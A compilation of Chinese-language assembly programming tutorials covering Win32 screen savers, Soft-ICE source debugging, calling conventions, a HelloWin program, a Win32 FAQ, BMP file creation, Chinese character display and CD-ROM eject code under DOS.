        mov	eax,TRUE
        ret

ScreenSaverConfigureDialog	endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 主程序窗口过程
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ScreenSaverProc	proc	uses ebx edi esi, \
        hWnd:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD

        mov	eax,uMsg
        .if	eax ==	WM_CREATE
               invoke	GetModuleHandle,NULL
            mov	hInstance,eax
            mov	eax,hWnd
            mov	hWinMain,eax
            ...
            在此初始化，包括定义一个定时器
            ...
               invoke	SetTimer,hWinMain,TIMER_MOON,100,NULL
        .elseif	eax ==	WM_DESTROY
            call	_Quit
;********************************************************************
        .elseif	eax ==	WM_TIMER
            ...
            在此画屏幕动画
            ...
            xor	eax,eax
            ret
;********************************************************************
;		.elseif	eax ==	WM_ERASEBKGND
;********************************************************************
; 以下黑屏的代码在 DefScreenSaverProc 中已经包括，如果自己要处理
; 屏幕，可以把它去掉。
;********************************************************************
;			invoke	GetDC,hWnd
;			mov	@hDc,eax
;			invoke	GetClientRect,hWnd,addr @stRc
;			invoke	GetStockObject,BLACK_BRUSH
;			invoke	FillRect,@hDc,addr @stRc,eax
;			invoke	ReleaseDC,hWnd,@hDc
;			xor	eax,eax
;			ret
        .endif
;********************************************************************
        invoke	DefScreenSaverProc,hWnd,uMsg,wParam,lParam
        ret

ScreenSaverProc	endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 注册设置对话框窗口Class过程
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
RegisterDialogClasses	proc	uses ebx edi esi, hInst:DWORD

        mov	eax,TRUE
        ret

RegisterDialogClasses	endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        end	WinMain
以上是一个屏幕保护程序的框架结构，其实编写一个屏幕保护程序的大部分工作量在于 WM_TIMER 消息的处理，也就是说对动画的处理，如果就把上面的程序编译，那么你就会得到一个最简单的“黑屏”屏保。这里是我编写的一个屏保月下情人，是用 Win32Asm 编写的。

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Soft-ICE symbic debugging ...

用Soft-ICE实现源码级调试

在 Windows 编程中，Soft-ICE 是一件必不可少的调试工具，但 Windows 程序的编程中有很多的时候是和数据结构和 API 打交道，经过编译以后，原来的 mov stRect.left,eax 之类的代码也就变成了 mov [xxxx],eax，invoke UpdateWindow,hWnd 之类的语句也就变成了 push [xxxx]/call [xxxxx] 之类的语句，如果你不记的源程序了，你就根本无法知道你在向什么数据写或者调用什么 API，在 C++ 编程的时候，我们都可以进行源代码级别的跟踪调试，但在汇编中，这可能吗？
答案是可以的，用 Soft-ICE 就可以实现，本文讨论使用 Masm 的情况下用 Soft-ICE 实现源码调试，具体的实现如下：

  1. 首先，在编译的时候要生成带符号信息的 Object 文件，这需要打开 ML 程序的两个选项
    ML /coff /Zi ...
    /coff 告诉编译器产生符号调试格式的 Object 文件。
    /Zi 使 Object 文件中包括符号调试信息。
  2. 然后也要设置 Link 文件，因为 Soft-ICE 使用 CodeView 格式的调试信息，所以 Link 也要包括下面的选项
    Link /DEBUG /DEBUGTYPE:CV ...
    /DEBUG 选项告诉 Link 在 exe 文件中包含调试信息。
    /DEBUGTYPE：CV 当然是调试信息要用 CodeView 格式啦。
  3. 最后，就是如何使用 Soft-ICE 了，如果要使用符号调试功能，你不能再用 Loader32.exe 程序来装入 exe 文件，而是必须用符号转换程序 nmsym，使用方法是在命令行中打入 nmsym /translate:source,package,always /source:. /load:execute,break 你的exe文件，你可以把它编写成一个 bat 文件如下 nmsym /translate:source,package,always /source:. /load:execute,break %1，假定文件名为 debug.bat ，然后你就可以用 debug xxx.exe 来享受源代码调试的乐趣了。
  4. 别的一些必要的设置：你必须把 Soft-ICE 的目录和 Masm 的 bin 目录设置到 path 中，因为这些路径中还有些文件要用到。

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


汇编中参数的传递和堆栈修正

by 罗云彬

在 Win32汇编中，我们经常要和 Api 打交道，另外也会常常使用自己编制的类似于 Api 的带参数的子程序，本文要讲述的是在子程序调用的过程中进行参数传递的概念和分析。一般在程序中，参数的传递是通过堆栈进行的，也就是说，调用者把要传递给子程序（或者被调用者）的参数压入堆栈，子程序在堆栈取出相应的值再使用，比如说，如果你要调用 SubRouting(Var1,Var2,Var3)，编译后的最终代码可能是

push Var3
push Var2
push Var1
call SubRouting
add esp,12

也就是说，调用者首先把参数压入堆栈，然后调用子程序，在完成后，由于堆栈中先前压入的数不再有用，调用者或者被调用者必须有一方把堆栈指针修正到调用前的状态。参数是最右边的先入堆栈还是最左边的先入堆栈、还有由调用者还是被调用者来修正堆栈都必须有个约定，不然就会产生不正确的结果，这就是我在前面使用“可能”这两个字的原因：各种语言中调用子程序的约定是不同的，它们的不同点见下表：

 | C | SysCall | StdCall | Basic | Fortran | Pascal
参数从左到右 |  |  |  | 是 | 是 | 是
参数从右到左 | 是 | 是 | 是 |  |  |
调用者清除堆栈 | 是 |  |  |  |  |
允许使用:VARARG | 是 | 是 | 是 |  |  |

VARARG 表示参数的个数可以是不确定的，有一个例子就是 C 中的 printf 语句，在上表中，StdCall 的定义有个要说明的地方，就是如果 StdCall 使用 :VARARG 时，是由调用者清除堆栈的，而在没有:VARARG时是由被调用者清除堆栈的。
在 Win32 汇编中，约定使用 StdCall 方式，所以我们要在程序开始的时候使用 .model stdcall 语句。也就是说，在 API 或子程序中，最右边的参数先入堆栈，然后子程序在返回的时候负责校正堆栈，举例说明，如果我们要调用 MessageBox 这个 API，因为它的定义是 MessageBox(hWnd,lpText,lpCaption,UType) 所以在程序中要这样使用：

push MB_OK
push offset szCaption
push offset szText
push hWnd
call MessageBox
...

我们不必在 API 返回的时候加上一句 add sp,4*4 来修正堆栈，因为这已经由 MessageBox 这个子程序做了。在 Windows API 中，唯一一个特殊的 API 是 wsprintf，这个 API 是 C 约定的，它的定义是 wsprintf(lpOut,lpFormat,Var1,Var2...)，所以在使用时就要：

push 1111
push 2222
push 3333
push offset szFormat
push offset szOut
call wsprintf
add esp,4*5

下面要讲的是子程序如何存取参数，因为缺省对堆栈操作的寄存器有 ESP 和 EBP，而 ESP是堆栈指针，无法暂借使用，所以一般使用 EBP 来存取堆栈，假定在一个调用中有两个参数，而且在 push 第一个参数前的堆栈指针 ESP 为 X，那么压入两个参数后的 ESP 为 X-8，程序开始执行 call 指令，call 指令把返回地址压入堆栈，这时候 ESP 为 X-C，这时已经在子程序中了，我们可以开始使用 EBP 来存取参数了，但为了在返回时恢复 EBP 的值，我们还是再需要一句 push ebp 来先保存 EBP 的值，这时 ESP 为 X-10，再执行一句 mov ebp,esp，根据右图可以看出，实际上这时候 [ebp + 8] 就是参数1，[ebp + c]就是参数2。另外，局部变量也是定义在堆栈中的，它们的位置一般放在 push ebp 保存的 EBP 数值的后面，局部变量1、2对应的地址分别是 [ebp-4]、[ebp-8],下面是一个典型的子程序，可以完成第一个参数减去第二个参数，它的定义是：

MyProc proto Var1,Var2 ；有两个参数
local lVar1,lVar2 ；有两个局部变量

注意，这里的两个 local 变量实际上没有被用到，只是为了演示用，具体实现的代码是：

MyProc proc

push ebp
mov ebp,esp

sub esp,8

mov eax,dword ptr [ebp + 8]
sub eax,dword ptr [ebp + c]

add esp,8

pop ebp
ret 8

MyProc endp

现在对这个子程序分析一下，push ebp/mov ebp,esp 是例行的保存和设置 EBP 的代码，sub esp,8 在堆栈中留出两个局部变量的空间，mov /add 语句完成相加，add esp,8 修正两个局部变量使用的堆栈，ret 8 修正两个参数使用的堆栈，相当于 ret / add esp,8 两句代码的效果。可以看出，这是一个标准的 Stdcall 约定的子程序，使用时最后一个参数先入堆栈，返回时由子程序进行堆栈修正。当然，这个子程序为了演示执行过程，使用了手工保存 ebp 并设置局部变量的方法，实际上，386 处理器有两条专用的指令是完成这个功能用的，那就是 Enter 和 Leave，Enter 语句的作用就是 push ebp/mov ebp,esp/sub esp,xxx，这个 xxx 就是 Enter 的，Leave 则完成 add esp,xxx/pop ebp 的功能，所以上面的程序可以改成：

MyPorc proc
enter 8,0

mov eax,dword ptr [ebp + 8]
sub eax,dword ptr [ebp + c]

leave
ret 8
MyProc endp

好了，说到这儿，参数传递的原理也应该将清楚了，还要最后说的是，在使用 Masm32 编 Win32 汇编程序的时候，我们并不需要记住 [ebp + xx] 等麻烦的地址，或自己计算局部变量需要预留的堆栈空间，还有在 ret 时计算要加上的数值，Masm32 的宏指令都已经把这些做好了，如在 Masm32 中，上面的程序只要写成为：

MyProc proc Var1,Var2
local lVar1,lVar2

mov eax,Var1
sub eax,Var2
ret

MyProc endp

编译器会自动的在 mov eax,Var1 前面插上一句 Enter 语句，它的参数会根据 local 定义的局部变量的多少自动指定，在 ret 前会自动加上一句 Leave，同样，编译器会根据参数的多少把 ret 替换成 ret xxx，把 mov eax,Var1 换成 mov eax,dword ptr [ebp + 8] 等等。

最后是使用 Masm32 的 invoke 宏指令，在前面可以看到，调用带参数的子程序时，我们需要用 push 把参数压入堆栈，如果不小心把参数个数搞错了，就会使堆栈不平衡，从而使程序从堆栈中取出错误的返回地址引起不可预料的后果，所以有必要有一条语句来完成自动检验的任务，invoke 就是这样的语句，实际上，它是自动 push 所有参数，检测参数个数、类型是否正确，并使用 call 来调用的一个宏指令，对于上面的 push/push/call MyProc 的指令，可以用一条指令完成就是：

invoke MyProc,Var1,Var2

当然，当程序编译好以后你去看机器码会发现它被正确地换成了同样的 push/push/call 指令。但是，在使用 invoke 之前，为了让它进行正确的参数检验，你需要对函数进行申明，就象在 C 中一样，申明的语句是：

MyProc proto ：DWORD，：DWORD

语句中 proto 是关键字，表示申明，：DWORD 表示参数的类型是 double word 类型的，有几个就表示有几个参数，在 Win32 中参数都是 double word 型的，申明语句要写在 invoke 之前，所以我们一般把它包括在 include 文件中，好了，综合一下，在 Masm32 中使用一个带参数的子程序或者 Api ，我们只需用：

...
MyProc proto :dword,:dword
...
.data
x dd ?
y dd ?
dwResult dd ?
...
mov x,1
mov y,2
invoke MyProc x,y
mov dwResult,eax
...

就行了，如何，是不是很简单啊？不过我可苦了，这篇文章整整花了我一个晚上 ... ##%$^&(*&^(*&(^&(* ...
(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Programming Windows program in ASM

用汇编编 Windows 程序

概述：

用汇编编制一般的 Windows 程序需要的不是汇编编程的资料，而是 Windows 函数调用的资料，你分析一下下面的源程序就会发现，程序的结构跟用 BC++ 编 Windows 程序几乎一模一样，原来用 C++ 函数的地方，变成了一个 Call 外部子程序，而函数的参数是由 PUSH 指令先压入堆栈，先由最后一个参数压起。同样，用汇编编 Windows 程序也需要 .DEF 文件和 .RES 文件，这是由 Windows 程序的结构决定的。本文是一个最简单的 Windows 程序，仅仅开了一个窗口，说一句话："Hello, Windows 95!"，这个声音文件是我从别的地方拷来的，你可以把它换成其他声音文件。
用于编译的工具请到软件下载中找，本文要用到的是 Tasm.exe，Tlink.exe，Make.exe 和库文件 Import32.lib。这儿是源程序和编译好的可执行文件的压缩档：Hellowin.zip

源程序：

文件 Makefile 的内容，这个文件是给 Make.exe 用的，告诉它用什么库文件，什么 .RES 文件等等：

NAME = hellowin
OBJS = $(NAME).obj
DEF  = $(NAME).def
RES  = $(NAME).res
IMPORT=IMPORT32
$(NAME).EXE: $(OBJS) $(DEF)
  tlink32 /Tpe /aa /c $(LINKDEBUG) $(OBJS),,, $(IMPORT), $(DEF),
.asm.obj:
  tasm32 /ml /m2 $&.asm,,,

文件 Hellowin.def 的内容，同编 C++ 程序一样，定义了数据段，代码段的属性等内容：

NAME         HELLOWIN
DESCRIPTION '(C) Copyright by Lyb'
CODE         PRELOAD MOVEABLE DISCARDABLE
DATA         PRELOAD MOVEABLE MULTIPLE
EXETYPE      WINDOWS
HEAPSIZE     8192
STACKSIZE    8192
EXPORTS      WndProc
HelloWin 的源程序：
        .486p
        .model	flat,STDCALL
include		windows.inc		;外部子程序，常量的定义等

;**************************************************
        .data
msg		MSGSTRUCT	<?>	;消息
wndclass	WNDCLASS	<?>	;Windows 类
ptstr		PAINTSTRUCT	<?>	;用于屏幕刷新的句柄
rect		RECT		<?>	;
h_dc		dd	?		;DC 句柄，用于屏幕刷新的句柄
h_inst		dd	?		;handle of module
h_win		dd	?		;handle of window
d_class		db	"hello win",0
t_title		db	"Hello, windows 95 !",0
t_copy		db	'A copy of program is already running, continue ? ',0
paint_x		dd	?
paint_y		dd	?
wav_filename	db	'hellowin.wav',0
;**************************************************
        .code
start:
        push	0
        call	GetModuleHandle		；取模块句柄
        mov	h_inst,eax
find_class:
        push	0
        push	offset d_class
        call	FindWindow		;查找有无程序副本在运行
        or	eax,eax
        jz	register_class
        push	MB_YESNO or MB_ICONQUESTION
        push	offset t_title
        push	offset t_copy
        push	0
        call	MessageBox		;显示一个对话框
        cmp	eax,IDNO
        jz	end_loop
register_class:
        push	IDC_ARROW
        push	0
        call	LoadCursor		;装入光标
        mov	wndclass.clsHCursor,eax
        mov	wndclass.clsStyle,CS_HREDRAW or CS_VREDRAW
        mov	wndclass.clsLpfnWndProc,offset WndProc
        mov	wndclass.clsCbClsExtra,0
        mov	wndclass.clsCbWndExtra,0
        mov	eax,h_inst
        mov	wndclass.clsHInstance,eax
        mov	wndclass.clsHIcon,0
        mov	wndclass.clsHbrBackground,COLOR_WINDOW+1
        mov	wndclass.clsLpszMenuName,0
        mov	wndclass.clsLpszClassName,offset d_class
        push	offset wndclass
        call	RegisterClass		;注册窗口类
; create new window
        push	0
        push	h_inst
        push	0
        push	0
        push	CW_USEDEFAULT
        push	CW_USEDEFAULT
        push	CW_USEDEFAULT
        push	CW_USEDEFAULT
        mov	eax,WS_OVERLAPPEDWINDOW or WS_MINIMIZE
        push	eax
        push	offset t_title
        push	offset d_class
        push	0
        call	CreateWindowEx		;创建一个窗口
        mov	h_win,eax

; show new window
        push	SW_SHOWNORMAL
;		push	SW_SHOWMINNOACTIVE	;show in task bar
        push	h_win
        call	ShowWindow		；显示窗口

        push	h_win
        call	UpdateWindow		；刷新窗口
msg_loop:
        push	0
        push	0
        push	0
        push	offset msg
        call	GetMessage		；取消息循环
        cmp	ax,0
        jz	end_loop

        push	offset msg
        call	TranslateMessage	；把消息传给 WndProc 子程序
        push	offset msg
        call	DispatchMessage
        jmp	msg_loop
end_loop:
        push	msg.msWPARAM
        call	ExitProcess

;********************************************************************
;	WndProc
；消息处理程序
;********************************************************************
WndProc		proc	uses ebx edi esi,hwnd:DWORD,wmsg:DWORD,wparam:DWORD,lparam:DWORD
        LOCAL	theDC:DWORD

;注意，以上的结构是固定的，因为 Windows 自己回先把 EBX，EDI，ESI 压入 STACK
        mov	eax,wmsg
        cmp	eax,WM_CREATE	；判断消息类型并执行响应程序
        jz	wm_create
        cmp	eax,WM_DESTROY
        jz	wm_destroy
        cmp	eax,WM_PAINT
        jz	wm_paint

        push	lparam		;return with default windows proc
        push	wparam
        push	wmsg
        push	hwnd
        call	DefWindowProc
        ret
wm_create:
        push	20000h or 1	;snd_filename | snd_async
        push	0
        push	offset wav_filename
        call	PlaySound
        xor	eax,eax
        ret
wm_paint:
        push	offset ptstr
        push	hwnd
        call	BeginPaint
        mov	h_dc,eax

        push	offset rect
        push	hwnd
        call	GetClientRect

        push	20h or 1 or 4 	;dt_singleline | dt_enter | DT_VCENTEr
        push	offset rect
        push	-1
        push	offset t_title
        push	h_dc
        call	DrawText

        push	offset ptstr
        push	hwnd
        call	EndPaint
        xor	eax,eax
        ret
wm_destroy:
        push	0
        call	PostQuitMessage
        xor	eax,eax
        ret

WndProc		endp
public		WndProc
        ends
        end	start

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Win32asm FAQ

Win32ASM经验点滴#1
作者：'Ates(ates@anet.net.tr)

Q1. 如何隐藏/显示任务栏?
Q2. 如何禁止/允许/显示/隐藏开始按钮?
Q3. 如何创建一个真正的"总在最上面"窗口?
Q4. 如何创建热键?比如CTRL + ALT + A
Q5. 如何获得Windows目录和系统目录?
Q6. 如何从我的程序打开开始菜单?
Q7. 如何关闭被正激活的程序?
Q8. 如何去掉窗口标题?
Q9. 如何知道窗口是否在任务栏中(或可见) ?
Q10. 如何隐藏一个窗口?
Q11. 如何将窗口置于前台?
Q12. 如何屏蔽CTRL+ALT+DEL,ALT+TAB+CTRL+ESC这些键?
Q13. 如何确定Windows任务栏的自动隐藏特性是否被激活?
Q14. 如何使用默认的浏览器或邮件程序?
Q15. 如何用Win32 API显示网络连接对话框?

- 如何隐藏/显示任务栏?

shell db "Shell_TrayWnd",0 ; 任务栏的类名
invoke FindWindow,addr shell,NULL ; 先获得句柄,之后隐藏.
.if eax != 0
invoke ShowWindow,eax,SW_HIDE ; 用SW_SHOW显示
.endif

- 如何禁止/允许/显示/隐藏开始按钮?

.data?
buffer db 127 dup(?)

.data
shell db "Shell_TrayWnd",0
sbar db "BUTTON",0
child dd ?
slen dd ?

.code
invoke FindWindow,addr shell,NULL ; 获得状态栏句柄
mov tray, eax
invoke GetWindow,tray, GW_CHILD ; 获得状态栏的子窗口(如果有的话)
mov child, eax
.if child != 0
invoke GetClassName,child,offset buffer, sizeof buffer ;获得子窗口类名
.if eax > 0
invoke lstrlen, offset buffer ;获得类名长度
mov slen,eax
invoke CharUpperBuff,offset buffer,slen ;转为大写
invoke lstrcmp,addr buffer, addr sbar ;将类名与'BUTTON'比较
.if eax == 0
invoke ShowWindow,child,SW_HIDE ; 隐藏开始按钮
; invoke ShowWindow,child,SW_SHOW ; 显示开始按钮
; invoke EnableWindow,child,FALSE ; 禁止开始按钮
; invoke EnableWindow,child,TRUE ; 允许开始按钮
.endif
.endif
.endif

- 如何创建一个真正的"总在最上面"窗口?

invoke SetWindowPos,hWin, HWND_TOPMOST,NULL,NULL,NULL,NULL,SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE

- 如何创建热键?比如CTRL + ALT + A

.data
hmsg db "HotKey CTRL + ALT + A Works good!",0
hcap db "Hotkey Example",0

.code
.if uMsg == WM_CREATE
invoke RegisterHotKey,hWnd,065h,MOD_CONTROL or MOD_ALT, 041h ; CTRL + ALT + A (041h is 65 - 065h is 101)

.elseif uMsg == WM_HOTKEY
invoke MessageBox,hWin,addr hmsg,addr hcap, MB_OK or MB_ICONINFORMATION

.elseif uMsg == WM_DESTROY
invoke UnregisterHotKey,hWin,065h
invoke PostQuitMessage,NULL
return 0
.endif

-如何获得Windows目录和系统目录

.data
buffer db 50 dup(?)
hCap db "WindowsDirectory",0

.code
invoke GetWindowsDirectory, addr buffer, sizeof buffer ; 置Windows目录于缓冲区中
; invoke GetSystemDirectory, addr buffer, sizeof buffer ;置系统目录于缓冲区中
invoke MessageBox,hWnd, addr buffer, addr hCap, MB_OK or MB_ICONINFORMATION

- 如何从我的程序打开开始菜单?

invoke SendMessage,hWnd,WM_SYSCOMMAND,SC_TASKLIST,NULL

- 如何关闭正被激活的程序 ?

.data
fwin dd ?

.code
invoke GetForegroundWindow
mov fwin,eax
invoke SendMessage, fwin, WM_CLOSE,NULL

- 如何去掉窗口标题 ?

invoke GetWindowLong,hWnd,GWL_STYLE ; 获得当前窗口类
and eax,not WS_CAPTION ; 去掉WS_CAPTION
invoke SetWindowLong,hWnd,GWL_STYLE,eax ; 设置窗口类

- 如何知道窗口是否在任务栏中(或可见)?

invoke IsWindowVisible,hWin
.if eax == TRUE
; 窗口可见
.else
; 窗口不可见
.endif

- 如何隐藏一个窗口?

.data
mirc db "mIRC32",0
mhand dd ?

.code
invoke FindWindow,addr mirc, NULL ; 寻找mIRC32
mov mhand,eax
.if mhand != 0 ; 找到?
invoke ShowWindow,mhand,SW_SHOW ; 显示窗口
; invoke ShowWindow,mhand,SW_HIDE ; 隐藏窗口
.else
; mIRC32未运行...
.endif

- 如何将窗口置于前台?

invoke SetForegroundWindow, mhand

- 如何屏蔽CTRL+ALT+DEL,ALT+TAB+CTRL+ESC这些键?

invoke SystemParametersInfo,SPI_SCREENSAVERRUNNING,1,NULL,NULL
; Windows98 only 1 关闭 0 允许

- 如何确定Windows任务栏的自动隐藏特性是否被激活?

.data
AppBar APPBARDATA {} ; {} 指使用默认值... Thanks to TTom

.code
mov AppBar.cbSize, sizeof AppBar
invoke SHAppBarMessage, ABM_GETSTATE, addr AppBar ; ShellApi命令
and eax, ABS_AUTOHIDE
.if eax == TRUE
; 任务栏被隐藏
.else
; 任务栏未被隐藏
.endif

- 如何使用默认的浏览器或邮件程序?

.data
lpPage db "http://win32asm.cjb.net",0
lpMail db "ates@anet.net.tr",0
lpOperation db "open",0

.code
invoke ShellExecute,hWin,addr lpOperation, addr lpPage, NULL, NULL, SW_SHOWNORMAL
invoke ShellExecute,hWin,addr lpOperation, addr lpMail, NULL, NULL, SW_SHOWNORMAL

- 如何用Win32 API显示网络连接对话框?

include \MASM32\INCLUDE\mpr.inc
includelib \MASM32\LIB\mpr.lib
invoke WNetConnectionDialog,hWnd,RESOURCETYPE_DISK

Designed By Atilla Yurtseven

Chinese Translation By Orochi,2000.12.16


Create a BMP file

如何产生一个BMP文件

概述：

BMP 文件是一种常用的图像文件格式，本文的例子程序产生一个简单的 640x480 24 bit 颜色的 BMP 文件。BMP 文件的格式分两部分，第一部分为文件头，具体定义见源程序，第二部分为数据区，紧接着文件头存放。

源程序：

code segment
assume cs:code,ds:code
org 100h
start:
jmp install

;BMP 文件头定义
;---------------------------------------------------------------
BMP_HEAD	DB	'BM'		;固定为 'BM'
D_FILE_LENGTH	DD	640*480*3+36h	;文件总长度，包括文件头
D_RESERVED	DD	?		;reserved
D_OFFSET	DD	36h		;数据区开始位置
D_BISIZE	DD	28h		;bit map info' head length
D_WIDTH		DD	640		;图形的宽度（单位象素）
D_HEIGHT	DD	480		;图形的高度（单位象素）
D_PLANES	DW	1		;图形的平面数
D_BIT		DW	24		;颜色位数
D_COMPRESS	DD	0		;压缩方式（0为不压缩）
D_SIZE		DD	640*480*3	;数据长度
D_XPPM		DD	0c00h		;pixels per meter (x)
D_YPPM		DD	0c00h		;pixels per meter (y)
D_CLRUSED	DD	0		;color used
D_CLRIMP	DD	0		;important color index
BMP_HEAD_END	EQU	THIS BYTE
;----------------------------------------------------------------
HANDLE		DW	?
FILE_NAME	DB	'test.bmp',0
LINE_BUF	DB	640*3 dup (0)
D_RED		DB	0ffh
D_GREEN		DB	0
D_BLUE		DB	0
install:
        mov	ah,3ch		;建立文件
        xor	cx,cx
        mov	dx,offset file_name
        int	21h
        jnb	cre_ok
        int	20h
cre_ok:
        mov	handle,ax

        mov	ah,40h		;写入文件头
        mov	bx,handle
        mov	cx,offset bmp_head_end-offset bmp_head
        mov	dx,offset bmp_head
        int	21h

        mov	cx,480		;写入 480 行数据
        xor	bp,bp
b_lop:
        push	cx

        mov	ax,bp
        inc	bp
        cmp	ax,160
        jb	b1
        cmp	ax,320
        jb	b2
b3:
        sub	ax,320
        mov	si,offset d_blue
        mov	di,offset d_red
        jmp	short b4
b2:
        sub	ax,160
        mov	si,offset d_green
        mov	di,offset d_blue
        jmp	short b4
b1:
        mov	si,offset d_red
        mov	di,offset d_green
b4:
        mov	cx,0ffh
        mul	cx
        mov	cx,160		;160
        div	cx

        mov	byte ptr ds:[si],0ffh
        sub	byte ptr ds:[si],al
        mov	byte ptr ds:[di],al

        mov	cx,640
        mov	di,offset line_buf
        cld
b_lop1:
        mov	al,d_red
        stosb
        mov	al,d_green
        stosb
        mov	al,d_blue
        stosb
        loop	b_lop1

        mov	ah,40h
        mov	bx,handle
        mov	cx,640*3
        mov	dx,offset line_buf
        int	21h
        pop	cx
        loop	b_lop

        mov	ah,3eh		;关闭文件
        int	21h
        int	20h
CODE		ENDS
        END	START

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Display GB char

汉字显示编程示例

概述：

 一般在屏幕上显示汉字的时候需要汉字系统的支持，但需要自己显示汉字的时候，就需要自己读汉字字库文件，把字符点阵读出来，再用绘图的办法显示到屏幕上，本文是读 UCDOS 16点字库文件的示例。
在 UCDOS 的点阵字库 HZK16 中，字符点阵是按照汉字内码排列的，汉字的内码从一些图形字符开始，起始编码为 A1A1H，汉字内码第一位为区码，每区为 94 个汉字，第二位为每区内的编码，每个汉字的点阵为 16点*16点 共32字节，数据按第一行 1-8点，9-16点，第二行 1-8点，9-16点...排列，每位数据 1 为要显示点，0 为不显示点。汉字点阵数据在字库中的偏移量为 ((区码-A1H)*94 + (区内编码-A1H))*32。
本程序为一个简单的例子，要显示的汉字在变量 DISP_DATA 中，且没有考虑汉字、英文混用的情况。

源程序：

; Write in May 22,1996
; By LuoYunBin ----- http://asm.yeah.net

.286
LINE_CHAR	EQU	210	;在屏幕上第几行显示
COL_CHAR	EQU	230	;在屏幕上第几列显示
COLOR_CHAR	EQU	0EH	;显示颜色
CHARS		EQU	(offset disp_data_end-offset disp_data)/2
CODE		SEGMENT
        ASSUME CS:CODE,DS:CODE
        ORG 100H
START:
        jmp	install
CC_FILE		DB	'C:\UCDOS\HZK16',0	;字库文件名，用 UCDOS 的16点阵汉字库
HANDLE		DW	?			;file handle
DISP_DATA	DB	'罗云彬'		;要显示的汉字
DISP_DATA_END	EQU	THIS BYTE
D_OPEN_ERROR	DB	'File C:\UCDOS\HZK16 not found !',0dh,0ah,24h
install:
        mov	ax,3d00h		;打开汉字库
        mov	dx,offset cc_file
        int	21h
        jnb	open_ok

        mov	ah,9
        mov	dx,offset d_open_error
        int	21h
        int	20h
open_ok:
        mov	handle,ax
        mov	si,offset disp_data
        mov	di,offset zi_buffer
        mov	cx,chars
        cld
ins2:
        lodsb
        mov	ah,al
        lodsb
        call	get_dots		；读出汉字点针
        loop	ins2
        call	disp_cc			；显示到屏幕
        int	20h
GET_DOTS	PROC
        pusha
        sub	ax,0a1a1h	;汉字的内码从 A1区开始
        cwd
        mov	dl,al		;所以绝对开始区是内码-A1
        mov	al,ah		;点阵在字库中的位置为
        cbw
        mov	bl,94		;（（汉字码1-A1）* 94 + 汉字码2 - A1）* 32
        mul	bl
        add	ax,dx
        mov	bx,32
        mul	bx
        mov	cx,dx
        mov	dx,ax
        mov	ax,4200h	;移动读写指针到点阵数据位置
        mov	bx,handle
        int	21h
        mov	ah,3fh
        mov	cx,32
        mov	dx,di
        int	21h
        popa
        add	di,32
        ret
GET_DOTS	ENDP
DISP_CC		PROC
        mov	ax,12h		;640*480 mode
        int	10h		;设置640*480/16色显示模式
        mov	cx,chars
        mov	si,offset zi_buffer
        mov	bx,col_char-20	;BX = column
dh_lop0:
        add	bx,20		;every char column+20
        push	cx
        mov	cx,16		;l6 lines/char
        mov	dx,line_char	;DX = start line
dh_lop1:
        push	bx
        push	cx
        lodsb			;16 dots/line
        mov	ah,al
        lodsb
        mov	cx,16
dh_lop2:
        shl	ax,1
        push	ax
        push	bx
        push	cx
        jc	db_color
        xor	al,al		;back color is 0
        jmp	short db_draw
db_color:
        mov	al,color_char
db_draw:
        mov	ah,0ch
        mov	cx,bx
        xor	bh,bh
        int	10h
        pop	cx
        pop	bx
        pop	ax
        inc	bx		;inc column
        loop	dh_lop2
        inc	dx		;next line
        pop	cx
        pop	bx
        loop	dh_lop1
        pop	cx
        loop	dh_lop0
        xor	ah,ah
        int	16h
        mov	ax,3
        int	10h
        ret
DISP_CC		ENDP
ZI_BUFFER	EQU	THIS BYTE

CODE		ENDS
        END START

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Open and close CD-ROM

CD-ROM出盒、入盒程序

概述：

我们在应用程序中常见到用软件控制 CD-ROM 的出、入盒，本文就是实现这种功能的一个例子。主要用到 INT 2FH 的 1510H（Send device driver request） 功能。具体参数详见程序注释。

要用到的几个中断说明如下：

1. IOCTL input 的格式：

偏移量 | 类型 | 内容
00H | 字节 | 1AH
01H | 字节 | 00H
02H | 字节 | 03H
03H | 字节 | 11 DUP（？）
0EH | 双字 | 缓冲区地址
12H | 字 | 缓冲区长度
14H | 字节 | 6 DUP（？）

2. IOCTL output 的格式：

偏移量 | 类型 | 内容
00H | 字节 | 1AH
01H | 字节 | 00H
02H | 字节 | 0CH
03H | 字节 | 11 DUP（？）
0EH | 双字 | 缓冲区地址
12H | 字 | 缓冲区长度
14H | 字节 | 6 DUP（？）

3. 在缓冲区中填入命令再用 INT 2fH 的 1510H 便可以实现 CD-ROM 的各种功能，缓冲的一些命令格式如下：

作用 | 长度 | 格式
出盒 | 1 | 00
解锁 | 2 | 01，00
加锁 | 2 | 01，01
入盒 | 1 | 05
取CD-ROM 状态 | 5 | 06，0，0，0，0 返回：06，xx，xx，0，0 xx,xx为状态字 位0：1 门开，0门关 位1：1未锁，0门锁 位B：1无盘，0有盘

4. 检测 CD-ROM 驱动程序的存在：

AX = 1500H
BX = 0
INT 2fH
返回：BX = CD-ROM 个数
CX = 起始CD-ROM 盘符，0=A：，1=B：等等

5. 发送 Device Driver Request：

AX = 1510H
ES：BX=请求头地址
CX = CD-ROM 的盘号

源程序如下：

; CD-ROM eject/load progrm
; Ver 1.20 ------ Jan 6,1996

CODE		SEGMENT
        ASSUME	CS:CODE,DS:CODE
        ORG	100H
START:
        jmp	install
COPYRIGHT	DB	'CD-ROM drive eject/close prg. V1.20',0dh,0ah
        DB	'Copyright (c) by Luo Yun Bin, Jan 6,1996',0dh,0ah
